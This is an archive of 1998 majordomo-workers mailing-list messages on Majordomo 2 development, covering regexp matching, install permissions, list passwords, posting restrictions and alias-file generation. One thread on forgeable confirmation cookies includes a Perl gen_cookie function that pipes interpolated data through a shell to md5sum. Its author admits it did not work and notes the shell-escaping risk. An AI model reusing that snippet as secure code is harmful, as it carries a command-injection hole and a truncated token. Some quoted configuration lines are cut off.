/^foo/ | ends with foo | /foo$/ | is foo | /foo/ | is not foo | !/foo/ would be a simple addition that would benefit many. I would hate to see the idea thrown out just because conjunctive clauses cannot be translated cleanly into regexps. --bill From majordomo-workers-owner Sat Oct 3 15:58:09 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA23668; Sat, 3 Oct 1998 15:56:48 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA23661 for ; Sat, 3 Oct 1998 15:56:42 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id SAA23572; Sat, 3 Oct 1998 18:13:29 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Oct 1998 18:13:28 -0500 In-Reply-To: Russ Allbery's message of "03 Oct 1998 13:23:10 -0700" Message-ID: Lines: 12 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RA" == Russ Allbery writes: RA> I think the Right Way To Do This is probably going to be to write a RA> simple conversion routine between the underlying representation model RA> that you're using and the one that News::Gateway expects, and then most RA> things should start working. Well, internally a message is a MIME::Entity (which inherits from Mail::Internet, I think), but upon delivery it is also just a file containing text. Either can be passed to you. - J< From majordomo-workers-owner Sat Oct 3 16:13:10 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA23807; Sat, 3 Oct 1998 16:01:08 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id QAA23800 for ; Sat, 3 Oct 1998 16:01:02 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id SAA23608; Sat, 3 Oct 1998 18:17:48 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> <19981003141353.A23037@gsp.org> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Oct 1998 18:17:48 -0500 In-Reply-To: Russ Allbery's message of "03 Oct 1998 13:42:33 -0700" Message-ID: Lines: 18 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RA" == Russ Allbery writes: RA> Urk. No, no, no, no. Please no. HTML is so massively *not* a good RA> language in which to *write* documentation. Russ is right. I myself just prefer to write things in text until they're stable, then mark them up later. I don't really case whether it's POD, some SGML package, or what; whoever ends up doing the markup gets to decide as far as I'm concerned. RA> For Mj2 in particular I'd honestly tend to recommend POD, as closely as RA> Mj2 is tied to Perl. POD is pretty 'plain' and doesn't really lend itself well to HTML translation but it will work in a pinch. I admit ignorance to just about everything else. - J< From majordomo-workers-owner Sat Oct 3 17:58:11 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id RAA24928; Sat, 3 Oct 1998 17:54:25 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id RAA24921 for ; Sat, 3 Oct 1998 17:54:19 -0700 (PDT) Received: (qmail 21666 invoked by uid 50); 4 Oct 1998 01:10:56 -0000 To: majordomo-workers@GreatCircle.COM Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> From: Russ Allbery In-Reply-To: Jason L Tibbitts III's message of "03 Oct 1998 18:13:28 -0500" Date: 03 Oct 1998 18:10:55 -0700 Message-ID: Lines: 33 X-Mailer: Gnus v5.4.66/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason L Tibbitts writes: >>>>>> "RA" == Russ Allbery writes: > RA> I think the Right Way To Do This is probably going to be to write a > RA> simple conversion routine between the underlying representation > RA> model that you're using and the one that News::Gateway expects, and > RA> then most things should start working. > Well, internally a message is a MIME::Entity (which inherits from > Mail::Internet, I think), but upon delivery it is also just a file > containing text. Either can be passed to you. Oho. Okay. That reminds me of the other issue, though. News::Gateway and Mj2 both want to do "robomoderation" sorts of things, like header rewrites, rejects on specific headers, possibly some body munging, and so forth. Given that you're likely to do all of that in an internal Mj2 sort of way, it may make more sense for you to just use News::Article directly to do the posting rather than going through News::Gateway, which is primarly a framework for running such code on an article. On the other hand, News::Gateway knows a lot about the specific sorts of rewrites that are required to turn a news message into a mail message and vice versa, information that you don't really want to duplicate in Mj2. Maybe it would be easy to just plug the two together, even though both are in theory trying to do some similar things. The more aggressive thing to try would be to try to share the code that does the munging and rewriting, but that's likely to require exponentially more work. -- Russ Allbery (rra@stanford.edu) From majordomo-workers-owner Sun Oct 4 19:13:44 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA10491; Sun, 4 Oct 1998 18:58:13 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id SAA10483 for ; Sun, 4 Oct 1998 18:58:07 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id WAA25519; Sun, 4 Oct 1998 22:14:58 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id WAA25514; Sun, 4 Oct 1998 22:14:54 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Sun, 4 Oct 1998 22:14:53 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@greatcircle.com Subject: Re: Latest cvs: make install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 3 Oct 1998, Jason L Tibbitts III wrote: : >>>>> "RSW" == Randall S Winchester writes: : : RSW> Can't copy /usr/local/majordomo/bin/mj_confirm to : RSW> /var/www/scripts/mj_confirm, Permission denied. at postinstall line : RSW> 180. : : That's odd; what OS is this? postinstall should be running as root. Not, what OS, what filesystem.... AFS (and Solaris 2.5). : How odd. Adding read for owner shouldn't hurt anything. That was my feeling. Randall From majordomo-workers-owner Sun Oct 4 19:44:25 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id TAA11039; Sun, 4 Oct 1998 19:35:12 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id TAA11032 for ; Sun, 4 Oct 1998 19:35:06 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA10809; Sun, 4 Oct 1998 21:52:02 -0500 (CDT) To: "Randall S. Winchester" Cc: majordomo-workers@greatcircle.com Subject: Re: Latest cvs: make install problem References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 04 Oct 1998 21:52:01 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Sun, 4 Oct 1998 22:14:53 -0400 (EDT)" Message-ID: Lines: 8 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> Not, what OS, what filesystem.... AFS (and Solaris 2.5). Actually, if my example is to be believed, Solaris has this behavior even with UFS filesystems. In any case, your fix is in CVS. - J< From majordomo-workers-owner Sun Oct 4 21:28:10 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id VAA12168; Sun, 4 Oct 1998 21:28:06 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id VAA12161 for ; Sun, 4 Oct 1998 21:28:01 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id AAA28247; Mon, 5 Oct 1998 00:44:53 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id AAA28242; Mon, 5 Oct 1998 00:44:50 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Mon, 5 Oct 1998 00:44:50 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@greatcircle.com Subject: Re: Latest cvs: make install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 4 Oct 1998, Jason L Tibbitts III wrote: : >>>>> "RSW" == Randall S Winchester writes: : : RSW> Not, what OS, what filesystem.... AFS (and Solaris 2.5). : : Actually, if my example is to be believed, Solaris has this behavior even : with UFS filesystems. In any case, your fix is in CVS. yes, I noted it after I sent the message out... Actually I think it is the Solaris binaries that look at the results of stat and make choices. If you use the "gnu" version things work better. Forinstnace I find my self using "gchown" frequently.. Randall From majordomo-workers-owner Mon Oct 5 05:44:17 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id FAA19623; Mon, 5 Oct 1998 05:30:51 -0700 (PDT) Received: from cis.ohio-state.edu (mail.cis.ohio-state.edu [164.107.115.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id FAA19609 for ; Mon, 5 Oct 1998 05:30:32 -0700 (PDT) Received: from cis.ohio-state.edu (gold.cis.ohio-state.edu [164.107.112.16]) by cis.ohio-state.edu (8.9.1/8.9.1) with ESMTP id IAA09401 for ; Mon, 5 Oct 1998 08:47:20 -0400 (EDT) Message-ID: <3618BFD8.3F4BC940@cis.ohio-state.edu> Date: Mon, 05 Oct 1998 08:47:20 -0400 From: Dave Barr Organization: Ohio State, Dept of Computer and Information Science X-Mailer: Mozilla 4.5b2 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: majordomo-workers@greatcircle.com Subject: list passwords with double-quotes in them Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk One of my list admins just had a list password with a double-quote in it. It totally blew up everything. When running mj_shell "configshow", I get the following error (using the list password): Can't locate object method "canon" via package "barr@mail.cis.ohio-state.edu" at /opt/majordomo/lib/auto/Mj/Access/validate_passwd.al line 27. The odd thing is -- I changed the list password (using the site password) to remove the double-quote, and it's still giving the same error! Also, does Majordomo log its errors to a file? During this time I was getting several "Unknown Mailer error 2"'s to Postmaster, but I couldn't see what the errors were. (btw, this is still Majordomo-0.1199809201, I haven't had a chance to upgrade) -- http://www.cis.ohio-state.edu/~barr/ barr@cis.ohio-state.edu From majordomo-workers-owner Mon Oct 5 10:28:34 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id KAA23276; Mon, 5 Oct 1998 10:25:59 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id KAA23260 for ; Mon, 5 Oct 1998 10:25:49 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA22814; Mon, 5 Oct 1998 12:42:51 -0500 (CDT) To: majordomo-workers@greatcircle.com, Dave Barr Subject: Re: list passwords with double-quotes in them References: <3618BFD8.3F4BC940@cis.ohio-state.edu> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 05 Oct 1998 12:42:51 -0500 In-Reply-To: Dave Barr's message of "Mon, 05 Oct 1998 08:47:20 -0400" Message-ID: Lines: 33 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "DB" == Dave Barr writes: DB> One of my list admins just had a list password with a double-quote in DB> it. It totally blew up everything. Wow. I've never tried that. Well, I just set one and it doesn't seem to be giving me any problems: XYX:sina:~/mj/cvs> mj_shell -p 'bl"ah' who test-list Members of list "test-list": tibbs@sina.hpc.uh.edu 1 listed subscriber It works fine via email, too. This is with latest CVS, but I can't see that anything changed in that area recently. And I can't see where anything would care about the quote; it's just used in a string comparison. DB> Can't locate object method "canon" via package DB> "barr@mail.cis.ohio-state.edu" at DB> /opt/majordomo/lib/auto/Mj/Access/validate_passwd.al line 27. Hmmm. I'd need to see more debugging here. The error would indicate that something is passing a string where it's supposed to be passing an Mj::Addr object. I'd need to see the whole call tree in order to trace it back. It's very possible that this is related to the actual command that they're running and not the password. DB> Also, does Majordomo log its errors to a file? Check the log files in wherever you set tmpdir to. All output is redirected there. - J< From majordomo-workers-owner Mon Oct 5 17:43:12 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id RAA28048; Mon, 5 Oct 1998 17:34:30 -0700 (PDT) Received: from mail.omnilink.net (mail.omnilink.net [194.64.25.6]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA28041 for ; Mon, 5 Oct 1998 17:34:21 -0700 (PDT) Received: from gazette.omnilink.net (gazette.omnilink.net [194.64.25.22]) by mail.omnilink.net (8.9.1a/8.9.1) with ESMTP id CAA03365 for ; Tue, 6 Oct 1998 02:51:19 +0200 (MET DST) Received: (from uucp@localhost) by gazette.omnilink.net (8.8.7/8.8.7) with UUCP id CAA05017 for majordomo-workers@GreatCircle.COM; Tue, 6 Oct 1998 02:51:19 +0200 (MEST) (envelope-from schrod@npc.de) Received: (from schrod@localhost) by npc.de (8.6.12/8.6.12) id XAA27591; Mon, 5 Oct 1998 23:15:54 +0200 Date: Mon, 5 Oct 1998 23:15:54 +0200 Message-Id: <199810052115.XAA27591@npc.de> From: Joachim Schrod To: majordomo-workers@GreatCircle.COM Reply-To: news@npc.de Subject: Re: Security flaw in confirmation cookie In-Reply-To: References: Mime-Version: 1.0 (generated by tm-edit 7.95) Content-Type: text/plain; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "JT" == Jason L Tibbitts writes: JT> If you want secure authentication tokens, you'll have to use the JT> development version (which uses random tokens and keeps state) or apply JT> OXymoron's secure cookie patch to 1.94.4. OXymoron's secure cookie patch? I've checked the 1.94 patch site, but didn't find it there. Can anyone supply me with a pointer? Thanks in advance, Joachim -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Joachim Schrod Email: jschrod@acm.org Net & Publication Consultance GmbH Tel.: +49-6074-861530 Roedermark, Germany Fax: +49-6074-861531 From majordomo-workers-owner Mon Oct 5 19:28:16 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id TAA29162; Mon, 5 Oct 1998 19:24:41 -0700 (PDT) Received: from siren.shore.net (siren.shore.net [207.244.124.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id TAA29155 for ; Mon, 5 Oct 1998 19:24:36 -0700 (PDT) Received: from smoe.org [204.167.97.154] by siren.shore.net with esmtp (Exim) id 0zQN4B-0007BJ-00; Mon, 5 Oct 1998 22:41:35 -0400 Received: (from jeffw@localhost) by smoe.org (8.8.7/8.8.7/daemon-mode-relay2) id WAA11351; Mon, 5 Oct 1998 22:41:33 -0400 (EDT) Message-ID: <19981005224133.G14623@smoe.org> Date: Mon, 5 Oct 1998 22:41:33 -0400 From: Jeff Wasilko To: news@npc.de, majordomo-workers@GreatCircle.COM Subject: Re: Security flaw in confirmation cookie Mail-Followup-To: news@npc.de, majordomo-workers@GreatCircle.COM References: <199810052115.XAA27591@npc.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1 In-Reply-To: <199810052115.XAA27591@npc.de>; from "Joachim Schrod" on Mon, Oct 05, 1998 at 11:15:54PM +0200 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Mon, Oct 05, 1998 at 11:15:54PM +0200, Joachim Schrod wrote: > >>>>> "JT" == Jason L Tibbitts writes: > > JT> If you want secure authentication tokens, you'll have to use the > JT> development version (which uses random tokens and keeps state) or apply > JT> OXymoron's secure cookie patch to 1.94.4. > > OXymoron's secure cookie patch? > > I've checked the 1.94 patch site, but didn't find it there. Can anyone > supply me with a pointer? You can get the 1.94.4 version from my site http://www.smoe.org/jeffw/majordomo/patches.html It also has a link to the orginal 1.94.1 version. Jeff From majordomo-workers-owner Tue Oct 6 15:14:30 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA12600; Tue, 6 Oct 1998 15:05:15 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id PAA12577 for majordomo-workers@greatcircle.com; Tue, 6 Oct 1998 15:05:05 -0700 (PDT) Received: from post.mail.demon.net (post-12.mail.demon.net [194.217.242.41]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id XAA27833 for ; Sat, 3 Oct 1998 23:08:06 -0700 (PDT) Received: from [158.152.211.20] (helo=gedanken.demon.co.uk) by post.mail.demon.net with smtp (Exim 2.03 #1) id 0zPhb2-0000Wz-00; Sun, 4 Oct 1998 06:24:47 +0000 Received: from amb by gedanken.demon.co.uk with local (Exim 2.02 #1) id 0zPO0G-0000T6-00; Sat, 3 Oct 1998 10:29:28 +0100 From: "Andrew M. Bishop" To: tibbs@hpc.uh.edu CC: majordomo-workers@greatcircle.com In-reply-to: (message from Jason L Tibbitts III on 02 Oct 1998 08:56:57 -0500) Subject: Re: Security flaw in confirmation cookie Message-Id: Date: Sat, 3 Oct 1998 10:29:28 +0100 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi, > AMB> I am using majordomo V1.94, I don't know if it has been brought to > AMB> your attention that it is possible to generate authentication cookies > [...] > > It's been known for a while. Dan Bernstein posted this kind of attack > (which I think is common to all stateless cookie schemes like this) a while > back. It is not impossible to have a stateless cookie scheme that is secure. If the gen_cookie funcion uses a cryptographically good hashing function then it is quite safe (provided that there is a secret cookie seed). -------------------- Secure gen_cookie function -------------------- sub gen_cookie { local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); local($cookie) = 0; chop($cookie=`echo '$combined' | md5sum | cut -c 1-8`); return $cookie; } -------------------- Secure gen_cookie function -------------------- (I couldn't get this to work when I patched it into majordomo though.) If you do use this then you might want to make sure that the string $combined does not have any characters that would break the shell, or else not use a pipeline like I did. There is also the crypt function in perl which could probably be co-opted into doing this (although I think it has a limit on the length of the string that it encrypts). > If you want secure authentication tokens, you'll have to use the > development version (which uses random tokens and keeps state) or apply > OXymoron's secure cookie patch to 1.94.4. OK, I have changed the cookie function for my mailing lists, so I consider them safe. -- Andrew. ---------------------------------------------------------------------- Andrew M. Bishop amb@gedanken.demon.co.uk http://www.gedanken.demon.co.uk/ From majordomo-workers-owner Tue Oct 6 19:28:17 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id TAA16483; Tue, 6 Oct 1998 19:15:39 -0700 (PDT) Received: from ncr-sd.SanDiegoCA.NCR.COM (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id TAA16464 for ; Tue, 6 Oct 1998 19:15:17 -0700 (PDT) Received: from jabberwocky (jabberwocky.SanDiegoCA.NCR.COM [153.64.69.123]) by ncr-sd.SanDiegoCA.NCR.COM (8.8.5/8.7.3) with SMTP id TAA23072; Tue, 6 Oct 1998 19:31:45 -0700 (PDT) Message-Id: <199810070231.TAA23072@ncr-sd.SanDiegoCA.NCR.COM> X-Sender: bhoule@sparc.sandiegoca.ncr.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 Date: Tue, 06 Oct 1998 19:33:25 -0700 To: Jason L Tibbitts III , majordomo-workers@greatcircle.com From: Bill Houle Subject: Re: Regexp wizard In-Reply-To: References: <199810022017.NAA09395@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 07:27 PM 10/2/98 -0500, Jason L Tibbitts III wrote: > >Actually, if a converter is written that, when it absolutely cannot make a >single regexp, returns a list of [regexp, negate_flag] tuples, I will find >a way to make use of them when appropriate. Sure, I can do that. Will add the all-encompassing 'address' as a default case ('address is foo@bar.com' will be easier for the novice than 'user is foo and domain is bar.com). Will we ever have a possibility of applying regexps to objects other than addresses? If so, will need to extend the 'language' slightly to cover such objects. Maybe a generic 'header' for anything outside the address realm.... --bill From majordomo-workers-owner Tue Oct 6 19:43:16 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id TAA16758; Tue, 6 Oct 1998 19:31:52 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id TAA16749 for ; Tue, 6 Oct 1998 19:31:36 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA24855; Tue, 6 Oct 1998 21:48:42 -0500 (CDT) To: Bill Houle Cc: majordomo-workers@greatcircle.com Subject: Re: Regexp wizard References: <199810022017.NAA09395@ssol020.sandiegoca.ncr.com> <199810070231.TAA23072@ncr-sd.SanDiegoCA.NCR.COM> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 06 Oct 1998 21:48:41 -0500 In-Reply-To: Bill Houle's message of "Tue, 06 Oct 1998 19:33:25 -0700" Message-ID: Lines: 22 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BH" == Bill Houle writes: BH> Will we ever have a possibility of applying regexps to objects other BH> than addresses? Sure; they get applied to lots of things in taboo_*. But that's basically it: either they're matching addresses in some way or they're being applied to header or body lines. Here's how I plan for it to work: All regexps that come from user-supplied data are applied not by using '=~', but by calling Majordomo::_re_match. This will be extended to take, in addition to a normal Perl regexp, a listref of regexps (and inversion flags). When passed a listref, _re_match will apply them in order, only returning truth if all of the regexps matched and none of the inverted regexps match (bailing early when it can, of course). Passing the header as one chunk means this can be done without saving any state between calls to _re_match. - J< From majordomo-workers-owner Tue Oct 6 20:58:20 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id UAA18139; Tue, 6 Oct 1998 20:54:23 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id UAA18132 for ; Tue, 6 Oct 1998 20:54:14 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id AAA09072; Wed, 7 Oct 1998 00:11:25 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id AAA09067; Wed, 7 Oct 1998 00:11:23 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Wed, 7 Oct 1998 00:11:23 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: A backwords sort of configuration In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Given a set of list members, it is common to limit which of them can post. However has any thought been given to limiting who can recieve posts. Say I have a list of 300 people who can post to a list, but only 30 people actually want to recieve mail from the list. Is this easy to manage? Randall From majordomo-workers-owner Tue Oct 6 22:00:46 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id VAA18986; Tue, 6 Oct 1998 21:48:30 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id VAA18979 for ; Tue, 6 Oct 1998 21:48:21 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id AAA26525; Wed, 7 Oct 1998 00:05:35 -0500 (CDT) To: "Randall S. Winchester" Cc: majordomo-workers@GreatCircle.COM Subject: Re: A backwords sort of configuration References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 07 Oct 1998 00:05:34 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Wed, 7 Oct 1998 00:11:23 -0400 (EDT)" Message-ID: Lines: 69 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> Say I have a list of 300 people who can post to a list, but only 30 RSW> people actually want to recieve mail from the list. There are at least three options. RSW> Is this easy to manage? I guess that depends on how you define 'easy', but I think it's pretty easy once you figure out how you're going to do it. Here are your options: Sign everyone up, but put the people who don't want to get anything in the class 'nomail'. (set blah-list nomail address@host.dom). This means the people who can post are real subscribers; they just don't get any messages. Set restrict_post appropriately: restrict_post <; Tue, 6 Oct 1998 23:35:28 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id CAA09559; Wed, 7 Oct 1998 02:52:40 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id CAA09554; Wed, 7 Oct 1998 02:52:36 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Wed, 7 Oct 1998 02:52:35 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: A backwords sort of configuration In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Wow! You have added so much to mj2. It is really going to need lots of documentation and "clear examples" to let everyone see what it can do. I think many will be assuming it is mostly a typical upgrade for majordomo. I have been going through the source and have been amazed at all the hooks. (Not that I have a clear idea how to run everything yet). Thanks again, Randall On 7 Oct 1998, Jason L Tibbitts III wrote: : >>>>> "RSW" == Randall S Winchester writes: : : RSW> Say I have a list of 300 people who can post to a list, but only 30 : RSW> people actually want to recieve mail from the list. : : There are at least three options. : : RSW> Is this easy to manage? : : I guess that depends on how you define 'easy', but I think it's pretty easy : once you figure out how you're going to do it. : : Here are your options: : : Sign everyone up, but put the people who don't want to get anything in the : class 'nomail'. (set blah-list nomail address@host.dom). This means the : people who can post are real subscribers; they just don't get any : messages. Set restrict_post appropriately: : : restrict_post <; Wed, 7 Oct 1998 00:04:40 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id DAA09656; Wed, 7 Oct 1998 03:21:54 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id DAA09651; Wed, 7 Oct 1998 03:21:52 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Wed, 7 Oct 1998 03:21:51 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: building the aliases file on the fly. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Currently when you create a list you get a nice little message printed out from lib/Mj/MTAConfig.pm/ "sub sendmail{}", telling you what to put in your aliases file. The change (hack) we added to generate the aliases file was in lib/auto/Majordomo/_createlist.al "sub _createlist{}". You basically do the same thing as you do in sub_sendmail{} except you write to a file. (which we hardcoded in out hack). I do not see that it would be a problem to just generate this alias file. Even if it is only used for historical archival purposes. Otherwise you could say if some flag is null to not write the file out I guess. What we did was create a seperate alias file for "majordomo", and then one for each "virtual host" ($aliasfile = "$aliasdir/$dom";). We created a directory in /var/spool/majordomo/aliases (with permissions to make sendmail and mj2 happy). When we installed mj2, the first output from sub_sendmail{} we cut and pasted to /var/spool/majordomo/aliases/majordomo, but this should be automated also ($aliasfile = "$aliasdir/majordomo). Anyhow, these are our current aliases files: majordomo majordomo.db coursemail.umd.edu coursemail.umd.edu.db majordomo2.umd.edu majordomo2.umd.edu.db /etc/sendmail.cf contains things like this: O AliasFile=/var/spool/majordomo/aliases/majordomo,\ /var/spool/majordomo/aliases/majordomo2.umd.edu,\ 